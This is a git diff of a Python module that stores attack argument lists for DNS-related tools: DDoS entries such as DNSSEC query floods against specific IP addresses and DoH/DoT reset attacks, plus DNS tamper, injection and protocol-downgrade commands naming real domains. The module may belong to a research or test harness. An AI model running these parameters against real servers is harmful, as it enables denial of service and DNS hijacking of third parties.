diff options
Diffstat (limited to 'server/apps/policy_list.py')
| -rw-r--r-- | server/apps/policy_list.py | 76 |
1 files changed, 37 insertions, 39 deletions
diff --git a/server/apps/policy_list.py b/server/apps/policy_list.py index ac632a3..9a01c95 100644 --- a/server/apps/policy_list.py +++ b/server/apps/policy_list.py @@ -1,51 +1,56 @@ import random -from exts import db -from model import Task ddos_policy_dic = [ # doh python start_reset_att.py - {"id": "7", "payload": "-n 1"}, - {"id": "7", "payload": "-n 3"}, - # {"id": "7", "payload": "-n 4"}, - + {"id": "7", "payload": "-n 1", "pname": "doh"}, + {"id": "7", "payload": "-n 3", "pname": "doh"}, + # {"id": "7", "payload": "-n 4", "pname": "doh"}, + # dot python3 start_pending.py - {"id": "10", "payload": "-n 2 -wait 50 -round 1"}, - {"id": "10", "payload": "-n 2 -wait 100 -round 5"}, - # {"id": "10", "payload": "-n 2 -wait 300 -round 5"}, + {"id": "10", "payload": "-n 2 -wait 50 -round 1", "pname": "dot"}, + {"id": "10", "payload": "-n 2 -wait 100 -round 5", "pname": "dot"}, + # {"id": "10", "payload": "-n 2 -wait 300 -round 5", "pname": "dot"}, # ipv6 ./prober - {"id": "5", "payload": "comm.e64.fun. 5000 47.76.237.22"}, - {"id": "5", "payload": "comm.e64.fun. 10000 47.76.237.22 47.242.54.229"}, - {"id": "5", "payload": "comm.e64.fun. 15000 47.76.237.22 47.242.54.229 8.210.135.224"}, - + {"id": "5", "payload": "comm.e64.fun. 5000 47.76.237.22", "pname": "ipv6"}, + {"id": "5", "payload": "comm.e64.fun. 10000 47.76.237.22 47.242.54.229", "pname": "ipv6"}, + {"id": "5", "payload": "comm.e64.fun. 15000 47.76.237.22 47.242.54.229 8.210.135.224", "pname": "ipv6"}, # dnssec ./dtool - {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 50 -n 5000"}, - {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 50 -n 5000"}, - {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 200 -n 20000"}, - {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 200 -n 20000"}, - {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 300 -n 30000"}, - {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 300 -n 30000"}, - + {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 50 -n 5000", "pname": "dnssec"}, + {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 50 -n 5000", "pname": "dnssec"}, + {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 200 -n 20000", "pname": "dnssec"}, + {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 200 -n 20000", "pname": "dnssec"}, + {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 300 -n 30000", "pname": "dnssec"}, + {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 300 -n 30000", "pname": "dnssec"}, ] + sjqp_policy_dic = [ # sjqp dnssec python proxy.py - {"id": "4", "payload": ""}, + {"id": "4", "payload": "", "pname": "dnssec"}, # sjqp ipv6 ./attack.sh - {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 1.1.1.1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"}, - # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 victim.duktig.xyz 240b:4001:150:a600:5b9:609e:d0ae:e1b"}, - # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::2 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"}, + {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 1.1.1.1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b", "pname": "ipv6"}, + # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 victim.duktig.xyz 240b:4001:150:a600:5b9:609e:d0ae:e1b", "pname": "ipv6"}, + # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::2 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b", "pname": "ipv6"}, - # sjqp doh python downgrade_phase1.py python downgrade_phase1.py - {"id": "8", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"}, - {"id": "9", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"}, + # sjqp doh python downgrade_phase1.py + {"id": "8", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh", "pname": "doh"}, + {"id": "9", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh", "pname": "doh"}, - # sjqp dot python downgrade_phase1.py python downgrade_phase1.py - {"id": "11", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"}, - {"id": "12", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"}, + # sjqp dot python downgrade_phase1.py + {"id": "11", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot", "pname": "dot"}, + {"id": "12", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot", "pname": "dot"}, ] +def get_single_policy(policy_type, pname): + if policy_type == "ddos": + policy_list = ddos_policy_dic + elif policy_type == "sjqp": + policy_list = sjqp_policy_dic + dot_item = next((item for item in policy_list if item["pname"] == pname), None) + return dot_item + # 用于保存每个用户的索引,结构为 {task_id: {"ddos": index, "sjqp": index}} index = {} @@ -77,13 +82,6 @@ def get_policy(policy_type, task_id): return command if __name__ == '__main__': - print(get_policy("sjqp")) - print(get_policy("sjqp")) - print(get_policy("ddos")) - print(get_policy("ddos")) - print(get_policy("ddos")) - print(get_policy("ddos")) - print(get_policy("ddos")) - print(get_policy("sjqp")) - print(get_policy("sjqp")) + print(get_single_policy("sjqp", "doh")) +
\ No newline at end of file |
